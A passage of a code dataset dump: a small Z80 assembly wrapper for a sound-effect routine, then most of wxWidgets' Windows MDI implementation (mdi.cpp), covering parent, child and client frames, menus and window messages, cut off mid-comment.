text
stringlengths
1
1.05M
; void bit_fx(void *effect) SECTION code_clib SECTION code_sound_bit PUBLIC _bit_fx EXTERN _bit_fx_fastcall _bit_fx: pop af pop hl push hl push af jp _bit_fx_fastcall
///////////////////////////////////////////////////////////////////////////// // Name: src/msw/mdi.cpp // Purpose: MDI classes for wxMSW // Author: Julian Smart // Modified by: Vadim Zeitlin on 2008-11-04 to use the base classes // Created: 04/01/98 // RCS-ID: $Id$ // Copyright: (c) 1998 Julian Smart // (c) 2008-2009 Vadim Zeitlin // Licence: wxWindows licence ///////////////////////////////////////////////////////////////////////////// // =========================================================================== // declarations // =========================================================================== // --------------------------------------------------------------------------- // headers // --------------------------------------------------------------------------- // For compilers that support precompilation, includes "wx.h". #include "wx/wxprec.h" #ifdef __BORLANDC__ #pragma hdrstop #endif #if wxUSE_MDI && !defined(__WXUNIVERSAL__) #include "wx/mdi.h" #ifndef WX_PRECOMP #include "wx/frame.h" #include "wx/menu.h" #include "wx/app.h" #include "wx/utils.h" #include "wx/dialog.h" #include "wx/statusbr.h" #include "wx/settings.h" #include "wx/intl.h" #include "wx/log.h" #include "wx/toolbar.h" #endif #include "wx/stockitem.h" #include "wx/msw/private.h" #include <string.h> // --------------------------------------------------------------------------- // global variables // --------------------------------------------------------------------------- extern wxMenu *wxCurrentPopupMenu; extern void wxRemoveHandleAssociation(wxWindow *win); namespace { // --------------------------------------------------------------------------- // constants // --------------------------------------------------------------------------- // This range gives a maximum of 500 MDI children. Should be enough :-) const int wxFIRST_MDI_CHILD = 4100; const int wxLAST_MDI_CHILD = 4600; // The MDI "Window" menu label const char *WINDOW_MENU_LABEL = gettext_noop("&Window"); // --------------------------------------------------------------------------- // private functions // --------------------------------------------------------------------------- // set the MDI menus (by sending the WM_MDISETMENU message) and update the menu // of the parent of win (which is supposed to be the MDI client window) void MDISetMenu(wxWindow *win, HMENU hmenuFrame, HMENU hmenuWindow); // insert the window menu (subMenu) into menu just before "Help" submenu or at // the very end if not found void MDIInsertWindowMenu(wxWindow *win, WXHMENU hMenu, HMENU subMenu); // Remove the window menu void MDIRemoveWindowMenu(wxWindow *win, WXHMENU hMenu); // unpack the parameters of WM_MDIACTIVATE message void UnpackMDIActivate(WXWPARAM wParam, WXLPARAM lParam, WXWORD *activate, WXHWND *hwndAct, WXHWND *hwndDeact); // return the HMENU of the MDI menu // // this function works correctly even when we don't have a window menu and just // returns 0 then inline HMENU GetMDIWindowMenu(wxMDIParentFrame *frame) { wxMenu *menu = frame->GetWindowMenu(); return menu ? GetHmenuOf(menu) : 0; } } // anonymous namespace // =========================================================================== // implementation // =========================================================================== // --------------------------------------------------------------------------- // wxWin macros // --------------------------------------------------------------------------- IMPLEMENT_DYNAMIC_CLASS(wxMDIParentFrame, wxFrame) IMPLEMENT_DYNAMIC_CLASS(wxMDIChildFrame, wxFrame) IMPLEMENT_DYNAMIC_CLASS(wxMDIClientWindow, wxWindow) BEGIN_EVENT_TABLE(wxMDIParentFrame, wxFrame) EVT_SIZE(wxMDIParentFrame::OnSize) EVT_ICONIZE(wxMDIParentFrame::OnIconized) EVT_SYS_COLOUR_CHANGED(wxMDIParentFrame::OnSysColourChanged) #if wxUSE_MENUS EVT_MENU_RANGE(wxFIRST_MDI_CHILD, wxLAST_MDI_CHILD, wxMDIParentFrame::OnMDIChild) EVT_MENU_RANGE(wxID_MDI_WINDOW_FIRST, wxID_MDI_WINDOW_LAST, wxMDIParentFrame::OnMDICommand) #endif // wxUSE_MENUS END_EVENT_TABLE() BEGIN_EVENT_TABLE(wxMDIChildFrame, wxFrame) EVT_IDLE(wxMDIChildFrame::OnIdle) END_EVENT_TABLE() BEGIN_EVENT_TABLE(wxMDIClientWindow, wxWindow) EVT_SCROLL(wxMDIClientWindow::OnScroll) END_EVENT_TABLE() // =========================================================================== // wxMDIParentFrame: the frame which contains the client window which manages // the children // =========================================================================== void wxMDIParentFrame::Init() { #if wxUSE_MENUS && wxUSE_ACCEL // the default menu doesn't have any accelerators (even if we have it) m_accelWindowMenu = NULL; #endif // wxUSE_MENUS && wxUSE_ACCEL } bool wxMDIParentFrame::Create(wxWindow *parent, wxWindowID id, const wxString& title, const wxPoint& pos, const wxSize& size, long style, const wxString& name) { // this style can be used to prevent a window from having the standard MDI // "Window" menu if ( !(style & wxFRAME_NO_WINDOW_MENU) ) { // normal case: we have the window menu, so construct it m_windowMenu = new wxMenu; m_windowMenu->Append(wxID_MDI_WINDOW_CASCADE, _("&Cascade")); m_windowMenu->Append(wxID_MDI_WINDOW_TILE_HORZ, _("Tile &Horizontally")); m_windowMenu->Append(wxID_MDI_WINDOW_TILE_VERT, _("Tile &Vertically")); m_windowMenu->AppendSeparator(); m_windowMenu->Append(wxID_MDI_WINDOW_ARRANGE_ICONS, _("&Arrange Icons")); m_windowMenu->Append(wxID_MDI_WINDOW_NEXT, _("&Next")); m_windowMenu->Append(wxID_MDI_WINDOW_PREV, _("&Previous")); } if (!parent) wxTopLevelWindows.Append(this); SetName(name); m_windowStyle = style; if ( parent ) parent->AddChild(this); if ( id != wxID_ANY ) m_windowId = id; else m_windowId = NewControlId(); WXDWORD exflags; WXDWORD msflags = MSWGetCreateWindowFlags(&exflags); msflags &= ~WS_VSCROLL; msflags &= ~WS_HSCROLL; if ( !wxWindow::MSWCreate(wxApp::GetRegisteredClassName(wxT("wxMDIFrame")), title.wx_str(), pos, size, msflags, exflags) ) { return false; } SetOwnBackgroundColour(wxSystemSettings::GetColour(wxSYS_COLOUR_APPWORKSPACE)); // unlike (almost?) all other windows, frames are created hidden m_isShown = false; return true; } wxMDIParentFrame::~wxMDIParentFrame() { // see comment in ~wxMDIChildFrame #if wxUSE_TOOLBAR m_frameToolBar = NULL; #endif #if wxUSE_STATUSBAR m_frameStatusBar = NULL; #endif // wxUSE_STATUSBAR #if wxUSE_MENUS && wxUSE_ACCEL delete m_accelWindowMenu; #endif // wxUSE_MENUS && wxUSE_ACCEL DestroyChildren(); // the MDI frame menubar is not automatically deleted by Windows unlike for // the normal frames if ( m_hMenu ) ::DestroyMenu((HMENU)m_hMenu); if ( m_clientWindow ) { if ( m_clientWindow->MSWGetOldWndProc() ) m_clientWindow->UnsubclassWin(); m_clientWindow->SetHWND(0); delete m_clientWindow; } } // ---------------------------------------------------------------------------- // wxMDIParentFrame child management // ---------------------------------------------------------------------------- wxMDIChildFrame *wxMDIParentFrame::GetActiveChild() const { HWND hWnd = (HWND)::SendMessage(GetWinHwnd(GetClientWindow()), WM_MDIGETACTIVE, 0, 0L); if ( !hWnd ) return NULL; return static_cast<wxMDIChildFrame *>(wxFindWinFromHandle(hWnd)); } int wxMDIParentFrame::GetChildFramesCount() const { int count = 0; for ( wxWindowList::const_iterator i = GetChildren().begin(); i != GetChildren().end(); ++i ) { if ( wxDynamicCast(*i, wxMDIChildFrame) ) count++; } return count; } #if wxUSE_MENUS void wxMDIParentFrame::AddMDIChild(wxMDIChildFrame * WXUNUSED(child)) { switch ( GetChildFramesCount() ) { case 1: // first MDI child was just added, we need to insert the window // menu now if we have it AddWindowMenu(); // and disable the items which can't be used until we have more // than one child UpdateWindowMenu(false); break; case 2: // second MDI child was added, enable the menu items which were // disabled because they didn't make sense for a single window UpdateWindowMenu(true); break; } } void wxMDIParentFrame::RemoveMDIChild(wxMDIChildFrame * WXUNUSED(child)) { switch ( GetChildFramesCount() ) { case 1: // last MDI child is being removed, remove the now unnecessary // window menu too RemoveWindowMenu(); // there is no need to call UpdateWindowMenu(true) here so this is // not quite symmetric to AddMDIChild() above break; case 2: // only one MDI child is going to remain, disable the menu commands // which don't make sense for a single child window UpdateWindowMenu(false); break; } } // ---------------------------------------------------------------------------- // wxMDIParentFrame window menu handling // ---------------------------------------------------------------------------- void wxMDIParentFrame::AddWindowMenu() { if ( m_windowMenu ) MDIInsertWindowMenu(GetClientWindow(), m_hMenu, GetMDIWindowMenu(this)); } void wxMDIParentFrame::RemoveWindowMenu() { if ( m_windowMenu ) MDIRemoveWindowMenu(GetClientWindow(), m_hMenu); } void wxMDIParentFrame::UpdateWindowMenu(bool enable) { if ( m_windowMenu ) { m_windowMenu->Enable(wxID_MDI_WINDOW_NEXT, enable); m_windowMenu->Enable(wxID_MDI_WINDOW_PREV, enable); } } #if wxUSE_MENUS_NATIVE void wxMDIParentFrame::InternalSetMenuBar() { if ( GetActiveChild() ) { AddWindowMenu(); } else // we don't have any MDI children yet { // wait until we do to add the window menu but do set the main menu for // now (this is done by AddWindowMenu() as a side effect) MDISetMenu(GetClientWindow(), (HMENU)m_hMenu, NULL); } } #endif // wxUSE_MENUS_NATIVE void wxMDIParentFrame::SetWindowMenu(wxMenu* menu) { if ( menu != m_windowMenu ) { // notice that Remove/AddWindowMenu() are safe to call even when // m_windowMenu is NULL RemoveWindowMenu(); delete m_windowMenu; m_windowMenu = menu; AddWindowMenu(); } #if wxUSE_ACCEL wxDELETE(m_accelWindowMenu); if ( menu && menu->HasAccels() ) m_accelWindowMenu = menu->CreateAccelTable(); #endif // wxUSE_ACCEL } // ---------------------------------------------------------------------------- // wxMDIParentFrame other menu-related stuff // ---------------------------------------------------------------------------- void wxMDIParentFrame::DoMenuUpdates(wxMenu* menu) { wxMDIChildFrame *child = GetActiveChild(); if ( child ) { wxEvtHandler* source = child->GetEventHandler(); wxMenuBar* bar = child->GetMenuBar(); if (menu) { menu->UpdateUI(source); } else { if ( bar != NULL ) { int nCount = bar->GetMenuCount(); for (int n = 0; n < nCount; n++) bar->GetMenu(n)->UpdateUI(source); } } } else { wxFrameBase::DoMenuUpdates(menu); } } wxMenuItem *wxMDIParentFrame::FindItemInMenuBar(int menuId) const { wxMenuItem *item = wxFrame::FindItemInMenuBar(menuId); if ( !item && GetActiveChild() ) { item = GetActiveChild()->FindItemInMenuBar(menuId); } if ( !item && m_windowMenu ) item = m_windowMenu->FindItem(menuId); return item; } WXHMENU wxMDIParentFrame::MSWGetActiveMenu() const { wxMDIChildFrame * const child = GetActiveChild(); if ( child ) { const WXHMENU hmenu = child->MSWGetActiveMenu(); if ( hmenu ) return hmenu; } return wxFrame::MSWGetActiveMenu(); } #endif // wxUSE_MENUS // ---------------------------------------------------------------------------- // wxMDIParentFrame event handling // ---------------------------------------------------------------------------- void wxMDIParentFrame::UpdateClientSize() { if ( GetClientWindow() ) { int width, height; GetClientSize(&width, &height); GetClientWindow()->SetSize(0, 0, width, height); } } void wxMDIParentFrame::OnSize(wxSizeEvent& WXUNUSED(event)) { UpdateClientSize(); // do not call event.Skip() here, it somehow messes up MDI client window } void wxMDIParentFrame::OnIconized(wxIconizeEvent& event) { event.Skip(); if ( !event.IsIconized() ) UpdateClientSize(); } // Responds to colour changes, and passes event on to children. void wxMDIParentFrame::OnSysColourChanged(wxSysColourChangedEvent& event) { if ( m_clientWindow ) { m_clientWindow->SetBackgroundColour(wxSystemSettings::GetColour(wxSYS_COLOUR_APPWORKSPACE)); m_clientWindow->Refresh(); } event.Skip(); } WXHICON wxMDIParentFrame::GetDefaultIcon() const { // we don't have any standard icons (any more) return (WXHICON)0; } // --------------------------------------------------------------------------- // MDI operations // --------------------------------------------------------------------------- void wxMDIParentFrame::Cascade() { ::SendMessage(GetWinHwnd(GetClientWindow()), WM_MDICASCADE, 0, 0); } void wxMDIParentFrame::Tile(wxOrientation orient) { wxASSERT_MSG( orient == wxHORIZONTAL || orient == wxVERTICAL, wxT("invalid orientation value") ); ::SendMessage(GetWinHwnd(GetClientWindow()), WM_MDITILE, orient == wxHORIZONTAL ? MDITILE_HORIZONTAL : MDITILE_VERTICAL, 0); } void wxMDIParentFrame::ArrangeIcons() { ::SendMessage(GetWinHwnd(GetClientWindow()), WM_MDIICONARRANGE, 0, 0); } void wxMDIParentFrame::ActivateNext() { ::SendMessage(GetWinHwnd(GetClientWindow()), WM_MDINEXT, 0, 0); } void wxMDIParentFrame::ActivatePrevious() { ::SendMessage(GetWinHwnd(GetClientWindow()), WM_MDINEXT, 0, 1); } // --------------------------------------------------------------------------- // the MDI parent frame window proc // --------------------------------------------------------------------------- WXLRESULT wxMDIParentFrame::MSWWindowProc(WXUINT message, WXWPARAM wParam, WXLPARAM lParam) { WXLRESULT rc = 0; bool processed = false; switch ( message ) { case WM_ACTIVATE: { WXWORD state, minimized; WXHWND hwnd; UnpackActivate(wParam, lParam, &state, &minimized, &hwnd); processed = HandleActivate(state, minimized != 0, hwnd); } break; case WM_COMMAND: // system messages such as SC_CLOSE are sent as WM_COMMANDs to the // parent MDI frame and we must let the DefFrameProc() have them // for these commands to work (without it, closing the maximized // MDI children doesn't work, for example) { WXWORD id, cmd; WXHWND hwnd; UnpackCommand(wParam, lParam, &id, &hwnd, &cmd); if ( cmd == 0 /* menu */ && id >= SC_SIZE /* first system menu command */ ) { MSWDefWindowProc(message, wParam, lParam); processed = true; } } break; case WM_CREATE: m_clientWindow = OnCreateClient(); // Uses own style for client style if ( !m_clientWindow->CreateClient(this, GetWindowStyleFlag()) ) { wxLogMessage(_("Failed to create MDI parent frame.")); rc = -1; } processed = true; break; } if ( !processed ) rc = wxFrame::MSWWindowProc(message, wParam, lParam); return rc; } bool wxMDIParentFrame::HandleActivate(int state, bool minimized, WXHWND activate) { bool processed = false; if ( wxWindow::HandleActivate(state, minimized, activate) ) { // already processed processed = true; } // If this window is an MDI parent, we must also send an OnActivate message // to the current child. if ( GetActiveChild() && ((state == WA_ACTIVE) || (state == WA_CLICKACTIVE)) ) { wxActivateEvent event(wxEVT_ACTIVATE, true, GetActiveChild()->GetId()); event.SetEventObject( GetActiveChild() ); if ( GetActiveChild()->HandleWindowEvent(event) ) processed = true; } return processed; } #if wxUSE_MENUS void wxMDIParentFrame::OnMDIChild(wxCommandEvent& event) { wxWindowList::compatibility_iterator node = GetChildren().GetFirst(); while ( node ) { wxWindow *child = node->GetData(); if ( child->GetHWND() ) { int childId = wxGetWindowId(child->GetHWND()); if ( childId == event.GetId() ) { ::SendMessage( GetWinHwnd(GetClientWindow()), WM_MDIACTIVATE, (WPARAM)child->GetHWND(), 0); return; } } node = node->GetNext(); } wxFAIL_MSG( "unknown MDI child selected?" ); } void wxMDIParentFrame::OnMDICommand(wxCommandEvent& event) { WXWPARAM wParam = 0; WXLPARAM lParam = 0; int msg; switch ( event.GetId() ) { case wxID_MDI_WINDOW_CASCADE: msg = WM_MDICASCADE; wParam = MDITILE_SKIPDISABLED; break; case wxID_MDI_WINDOW_TILE_HORZ: wParam |= MDITILE_HORIZONTAL; // fall through case wxID_MDI_WINDOW_TILE_VERT: if ( !wParam ) wParam = MDITILE_VERTICAL; msg = WM_MDITILE; wParam |= MDITILE_SKIPDISABLED; break; case wxID_MDI_WINDOW_ARRANGE_ICONS: msg = WM_MDIICONARRANGE; break; case wxID_MDI_WINDOW_NEXT: msg = WM_MDINEXT; lParam = 0; // next child break; case wxID_MDI_WINDOW_PREV: msg = WM_MDINEXT; lParam = 1; // previous child break; default: wxFAIL_MSG( "unknown MDI command" ); return; } ::SendMessage(GetWinHwnd(GetClientWindow()), msg, wParam, lParam); } #endif // wxUSE_MENUS bool wxMDIParentFrame::TryBefore(wxEvent& event) { // menu (and toolbar) events should be sent to the active child frame // first, if any if ( event.GetEventType() == wxEVT_COMMAND_MENU_SELECTED ) { wxMDIChildFrame * const child = GetActiveChild(); if ( child && child->ProcessWindowEventLocally(event) ) return true; } return wxMDIParentFrameBase::TryBefore(event); } WXLRESULT wxMDIParentFrame::MSWDefWindowProc(WXUINT message, WXWPARAM wParam, WXLPARAM lParam) { WXHWND clientWnd; if ( GetClientWindow() ) clientWnd = GetClientWindow()->GetHWND(); else clientWnd = 0; return DefFrameProc(GetHwnd(), (HWND)clientWnd, message, wParam, lParam); } bool wxMDIParentFrame::MSWTranslateMessage(WXMSG* msg) { MSG *pMsg = (MSG *)msg; // first let the current child get it wxMDIChildFrame * const child = GetActiveChild(); if ( child && child->MSWTranslateMessage(msg) ) { return true; } // then try out accelerator table (will also check the accelerators for the // normal menu items) if ( wxFrame::MSWTranslateMessage(msg) ) { return true; } #if wxUSE_MENUS && wxUSE_ACCEL // but it doesn't check for the (custom) accelerators of the window menu // items as it's not part of the menu bar as it's handled by Windows itself // so we need to do this explicitly if ( m_accelWindowMenu && m_accelWindowMenu->Translate(this, msg) ) return true; #endif // wxUSE_MENUS && wxUSE_ACCEL // finally, check for MDI specific built-in accelerators if ( pMsg->message == WM_KEYDOWN || pMsg->message == WM_SYSKEYDOWN ) { if ( ::TranslateMDISysAccel(GetWinHwnd(GetClientWindow()), pMsg)) return true; } return false; } // =========================================================================== // wxMDIChildFrame // =========================================================================== void wxMDIChildFrame::Init() { m_needsResize = true; m_needsInitialShow = true; } bool wxMDIChildFrame::Create(wxMDIParentFrame *parent, wxWindowID id, const wxString& title, const wxPoint& pos, const wxSize& size, long style, const wxString& name) { m_mdiParent = parent; SetName(name); if ( id != wxID_ANY ) m_windowId = id; else m_windowId = NewControlId(); if ( parent ) { parent->AddChild(this); } int x = pos.x; int y = pos.y; int width = size.x; int height = size.y; MDICREATESTRUCT mcs; wxString className = wxApp::GetRegisteredClassName(wxT("wxMDIChildFrame"), COLOR_WINDOW); if ( !(style & wxFULL_REPAINT_ON_RESIZE) ) className += wxApp::GetNoRedrawClassSuffix(); mcs.szClass = className.wx_str(); mcs.szTitle = title.wx_str(); mcs.hOwner = wxGetInstance(); if (x != wxDefaultCoord) mcs.x = x; else mcs.x = CW_USEDEFAULT; if (y != wxDefaultCoord) mcs.y = y; else mcs.y = CW_USEDEFAULT; if (width != wxDefaultCoord) mcs.cx = width; else mcs.cx = CW_USEDEFAULT; if (height != wxDefaultCoord) mcs.cy = height; else mcs.cy = CW_USEDEFAULT; DWORD msflags = WS_OVERLAPPED | WS_CLIPCHILDREN; if (style & wxMINIMIZE_BOX) msflags |= WS_MINIMIZEBOX; if (style & wxMAXIMIZE_BOX) msflags |= WS_MAXIMIZEBOX; if (style & wxRESIZE_BORDER) msflags |= WS_THICKFRAME; if (style & wxSYSTEM_MENU) msflags |= WS_SYSMENU; if ((style & wxMINIMIZE) || (style & wxICONIZE)) msflags |= WS_MINIMIZE; if (style & wxMAXIMIZE) msflags |= WS_MAXIMIZE; if (style & wxCAPTION) msflags |= WS_CAPTION; mcs.style = msflags; mcs.lParam = 0; wxWindowCreationHook hook(this); m_hWnd = (WXHWND)::SendMessage(GetWinHwnd(parent->GetClientWindow()), WM_MDICREATE, 0, (LPARAM)&mcs); if ( !m_hWnd ) { wxLogLastError(wxT("WM_MDICREATE")); return false; } SubclassWin(m_hWnd); parent->AddMDIChild(this); return true; } wxMDIChildFrame::~wxMDIChildFrame() { // if we hadn't been created, there is nothing to destroy if ( !m_hWnd ) return; GetMDIParent()->RemoveMDIChild(this); // will be destroyed by DestroyChildren() but reset them before calling it // to avoid using dangling pointers if a callback comes in the meanwhile #if wxUSE_TOOLBAR m_frameToolBar = NULL; #endif #if wxUSE_STATUSBAR m_frameStatusBar = NULL; #endif // wxUSE_STATUSBAR DestroyChildren(); MDIRemoveWindowMenu(NULL, m_hMenu); MSWDestroyWindow(); } bool wxMDIChildFrame::Show(bool show) { m_needsInitialShow = false; if (!wxFrame::Show(show)) return false; // KH: Without this call, new MDI children do not become active. // This was added here after the same BringWindowToTop call was // removed from wxTopLevelWindow::Show (November 2005) if ( show ) ::BringWindowToTop(GetHwnd()); // we need to refresh the MDI frame window menu to include (or exclude if // we've been hidden) this frame wxMDIParentFrame * const parent = GetMDIParent(); MDISetMenu(parent->GetClientWindow(), NULL, NULL); return true; } void wxMDIChildFrame::DoSetSize(int x, int y, int width, int height, int sizeFlags) { // we need to disable client area origin adjustments used for the child // windows for the frame itself wxMDIChildFrameBase::DoSetSize(x, y, width, height, sizeFlags); } // Set the client size (i.e. leave the calculation of borders etc. // to wxWidgets) void wxMDIChildFrame::DoSetClientSize(int width, int height) { HWND hWnd = GetHwnd(); RECT rect; ::GetClientRect(hWnd, &rect); RECT rect2; GetWindowRect(hWnd, &rect2); // Find the difference between the entire window (title bar and all) // and the client area; add this to the new client size to move the // window int actual_width = rect2.right - rect2.left - rect.right + width; int actual_height = rect2.bottom - rect2.top - rect.bottom + height; #if wxUSE_STATUSBAR if (GetStatusBar() && GetStatusBar()->IsShown()) { int sx, sy; GetStatusBar()->GetSize(&sx, &sy); actual_height += sy; } #endif // wxUSE_STATUSBAR POINT point; point.x = rect2.left; point.y = rect2.top; // If there's an MDI parent, must subtract the parent's top left corner // since MoveWindow moves relative to the parent wxMDIParentFrame * const mdiParent = GetMDIParent(); ::ScreenToClient(GetHwndOf(mdiParent->GetClientWindow()), &point); MoveWindow(hWnd, point.x, point.y, actual_width, actual_height, (BOOL)true); wxSize size(width, height); wxSizeEvent event(size, m_windowId); event.SetEventObject( this ); HandleWindowEvent(event); } // Unlike other wxTopLevelWindowBase, the mdi child's "GetPosition" is not the // same as its GetScreenPosition void wxMDIChildFrame::DoGetScreenPosition(int *x, int *y) const { HWND hWnd = GetHwnd(); RECT rect; ::GetWindowRect(hWnd, &rect); if (x) *x = rect.left; if (y) *y = rect.top; } void wxMDIChildFrame::DoGetPosition(int *x, int *y) const { RECT rect; GetWindowRect(GetHwnd(), &rect); POINT point; point.x = rect.left; point.y = rect.top; // Since we now have the absolute screen coords, // if there's a parent we must subtract its top left corner wxMDIParentFrame * const mdiParent = GetMDIParent(); ::ScreenToClient(GetHwndOf(mdiParent->GetClientWindow()), &point); if (x) *x = point.x; if (y) *y = point.y; } void wxMDIChildFrame::InternalSetMenuBar() { wxMDIParentFrame * const parent = GetMDIParent(); MDIInsertWindowMenu(parent->GetClientWindow(), m_hMenu, GetMDIWindowMenu(parent)); } void wxMDIChildFrame::DetachMenuBar() { MDIRemoveWindowMenu(NULL, m_hMenu); wxFrame::DetachMenuBar(); } WXHICON wxMDIChildFrame::GetDefaultIcon() const { // we don't have any standard icons (any more) return (WXHICON)0; } // --------------------------------------------------------------------------- // MDI operations // --------------------------------------------------------------------------- void wxMDIChildFrame::Maximize(bool maximize) { wxMDIParentFrame * const parent = GetMDIParent(); if ( parent && parent->GetClientWindow() ) { ::SendMessage(GetWinHwnd(parent->GetClientWindow()), maximize ? WM_MDIMAXIMIZE : WM_MDIRESTORE, (WPARAM)GetHwnd(), 0); } } void wxMDIChildFrame::Restore() { wxMDIParentFrame * const parent = GetMDIParent(); if ( parent && parent->GetClientWindow() ) { ::SendMessage(GetWinHwnd(parent->GetClientWindow()), WM_MDIRESTORE, (WPARAM) GetHwnd(), 0); } } void wxMDIChildFrame::Activate() { wxMDIParentFrame * const parent = GetMDIParent(); if ( parent && parent->GetClientWindow() ) { ::SendMessage(GetWinHwnd(parent->GetClientWindow()), WM_MDIACTIVATE, (WPARAM) GetHwnd(), 0); } } // --------------------------------------------------------------------------- // MDI window proc and message handlers // --------------------------------------------------------------------------- WXLRESULT wxMDIChildFrame::MSWWindowProc(WXUINT message, WXWPARAM wParam, WXLPARAM lParam) { WXLRESULT rc = 0; bool processed = false; switch ( message ) { case WM_GETMINMAXINFO: processed = HandleGetMinMaxInfo((MINMAXINFO *)lParam); break; case WM_MDIACTIVATE: { WXWORD act; WXHWND hwndAct, hwndDeact; UnpackMDIActivate(wParam, lParam, &act, &hwndAct, &hwndDeact); processed = HandleMDIActivate(act, hwndAct, hwndDeact); } // fall through case WM_MOVE: // must pass WM_MOVE to DefMDIChildProc() to recalculate MDI client // scrollbars if necessary // fall through case WM_SIZE: // must pass WM_SIZE to DefMDIChildProc(), otherwise many weird // things happen MSWDefWindowProc(message, wParam, lParam); break; case WM_WINDOWPOSCHANGING: processed = HandleWindowPosChanging((LPWINDOWPOS)lParam); break; } if ( !processed ) rc = wxFrame::MSWWindowProc(message, wParam, lParam); return rc; } bool wxMDIChildFrame::HandleMDIActivate(long WXUNUSED(activate), WXHWND hwndAct, WXHWND hwndDeact) { wxMDIParentFrame * const parent = GetMDIParent(); WXHMENU hMenuToSet = 0; bool activated; if ( m_hWnd == hwndAct ) { activated = true; parent->SetActiveChild(this); WXHMENU hMenuChild = m_hMenu; if ( hMenuChild ) hMenuToSet = hMenuChild; } else if ( m_hWnd == hwndDeact ) { wxASSERT_MSG( parent->GetActiveChild() == this, wxT("can't deactivate MDI child which wasn't active!") ); activated = false; parent->SetActiveChild(NULL); WXHMENU hMenuParent = parent->m_hMenu; // activate the the parent menu only when there is no other child // that has been activated if ( hMenuParent && !hwndAct ) hMenuToSet = hMenuParent; } else { // we have nothing to do with it return false; } if ( hMenuToSet ) { MDISetMenu(parent->GetClientWindow(), (HMENU)hMenuToSet, GetMDIWindowMenu(parent)); } wxActivateEvent event(wxEVT_ACTIVATE, activated, m_windowId); event.SetEventObject( this ); ResetWindowStyle(NULL); return HandleWindowEvent(event); } bool wxMDIChildFrame::HandleWindowPosChanging(void *pos) { WINDOWPOS *lpPos = (WINDOWPOS *)pos; if (!(lpPos->flags & SWP_NOSIZE)) { RECT rectClient; DWORD dwExStyle = ::GetWindowLong(GetHwnd(), GWL_EXSTYLE); DWORD dwStyle = ::GetWindowLong(GetHwnd(), GWL_STYLE); if (ResetWindowStyle((void *) & rectClient) && (dwStyle & WS_MAXIMIZE)) { ::AdjustWindowRectEx(&rectClient, dwStyle, false, dwExStyle); lpPos->x = rectClient.left; lpPos->y = rectClient.top; lpPos->cx = rectClient.right - rectClient.left; lpPos->cy = rectClient.bottom - rectClient.top; } } return false; } bool wxMDIChildFrame::HandleGetMinMaxInfo(void *mmInfo) { MINMAXINFO *info = (MINMAXINFO *)mmInfo; // let the default window proc calculate the size of MDI children // frames because it is based on the size of the MDI client window, // not on the values specified in wxWindow m_max variables bool processed = MSWDefWindowProc(WM_GETMINMAXINFO, 0, (LPARAM)mmInfo) != 0; int minWidth = GetMinWidth(), minHeight = GetMinHeight(); // but allow GetSizeHints() to set the min size if ( minWidth != wxDefaultCoord ) { info->ptMinTrackSize.x = minWidth; processed = true; } if ( minHeight != wxDefaultCoord ) { info->ptMinTrackSize.y = minHeight; processed = true; } return processed; } // --------------------------------------------------------------------------- // MDI specific message translation/preprocessing // --------------------------------------------------------------------------- WXLRESULT wxMDIChildFrame::MSWDefWindowProc(WXUINT message, WXWPARAM wParam, WXLPARAM lParam) { return DefMDIChildProc(GetHwnd(), (UINT)message, (WPARAM)wParam, (LPARAM)lParam); } bool wxMDIChildFrame::MSWTranslateMessage(WXMSG* msg) { // we must pass the parent frame to ::TranslateAccelerator(), otherwise it // doesn't do its job correctly for MDI child menus return MSWDoTranslateMessage(GetMDIParent(), msg); } // --------------------------------------------------------------------------- // misc // --------------------------------------------------------------------------- void wxMDIChildFrame::MSWDestroyWindow() { wxMDIParentFrame * const parent = GetMDIParent(); // Must make sure this handle is invalidated (set to NULL) since all sorts // of things could happen after the child client is destroyed, but before // the wxFrame is destroyed. HWND oldHandle = (HWND)GetHWND(); SendMessage(GetWinHwnd(parent->GetClientWindow()), WM_MDIDESTROY, (WPARAM)oldHandle, 0); if (parent->GetActiveChild() == NULL) ResetWindowStyle(NULL); if (m_hMenu) { ::DestroyMenu((HMENU) m_hMenu); m_hMenu = 0; } wxRemoveHandleAssociation(this); m_hWnd = 0; } // Change the client window's extended style so we don't get a client edge // style when a child is maximised (a double border looks silly.) bool wxMDIChildFrame::ResetWindowStyle(void *vrect) { RECT *rect = (RECT *)vrect; wxMDIParentFrame * const pFrameWnd = GetMDIParent(); wxMDIChildFrame* pChild = pFrameWnd->GetActiveChild(); if (!pChild || (pChild == this)) { HWND hwndClient = GetWinHwnd(pFrameWnd->GetClientWindow()); DWORD dwStyle = ::GetWindowLong(hwndClient, GWL_EXSTYLE); // we want to test whether there is a maximized child, so just set // dwThisStyle to 0 if there is no child at all DWORD dwThisStyle = pChild ? ::GetWindowLong(GetWinHwnd(pChild), GWL_STYLE) : 0; DWORD dwNewStyle = dwStyle; if ( dwThisStyle & WS_MAXIMIZE ) dwNewStyle &= ~(WS_EX_CLIENTEDGE); else dwNewStyle |= WS_EX_CLIENTEDGE; if (dwStyle != dwNewStyle) { // force update of everything ::RedrawWindow(hwndClient, NULL, NULL, RDW_INVALIDATE | RDW_ALLCHILDREN); ::SetWindowLong(hwndClient, GWL_EXSTYLE, dwNewStyle); ::SetWindowPos(hwndClient, NULL, 0, 0, 0, 0, SWP_FRAMECHANGED | SWP_NOACTIVATE | SWP_NOMOVE | SWP_NOSIZE | SWP_NOZORDER | SWP_NOCOPYBITS); if (rect) ::GetClientRect(hwndClient, rect); return true; } } return false; } // =========================================================================== // wxMDIClientWindow: the window of predefined (by Windows) class which // contains the child frames // =========================================================================== bool wxMDIClientWindow::CreateClient(wxMDIParentFrame *parent, long style) { m_backgroundColour = wxSystemSettings::GetColour(wxSYS_COLOUR_APPWORKSPACE); CLIENTCREATESTRUCT ccs; m_windowStyle = style; m_parent = parent; ccs.hWindowMenu = GetMDIWindowMenu(parent); ccs.idFirstChild = wxFIRST_MDI_CHILD; DWORD msStyle = MDIS_ALLCHILDSTYLES | WS_VISIBLE | WS_CHILD | WS_CLIPCHILDREN | WS_CLIPSIBLINGS; if ( style & wxHSCROLL ) msStyle |= WS_HSCROLL; if ( style & wxVSCROLL ) msStyle |= WS_VSCROLL; DWORD exStyle = WS_EX_CLIENTEDGE; wxWindowCreationHook hook(this); m_hWnd = (WXHWND)::CreateWindowEx ( exStyle, wxT("MDICLIENT"), NULL, msStyle, 0, 0, 0, 0, GetWinHwnd(parent), NULL, wxGetInstance(), (LPSTR)(LPCLIENTCREATESTRUCT)&ccs); if ( !m_hWnd ) { wxLogLastError(wxT("CreateWindowEx(MDI client)")); return false; } SubclassWin(m_hWnd); return true; } // Explicitly call default scroll behaviour void wxMDIClientWindow::OnScroll(wxScrollEvent& event) { // Note: for client windows, the scroll position is not set in // 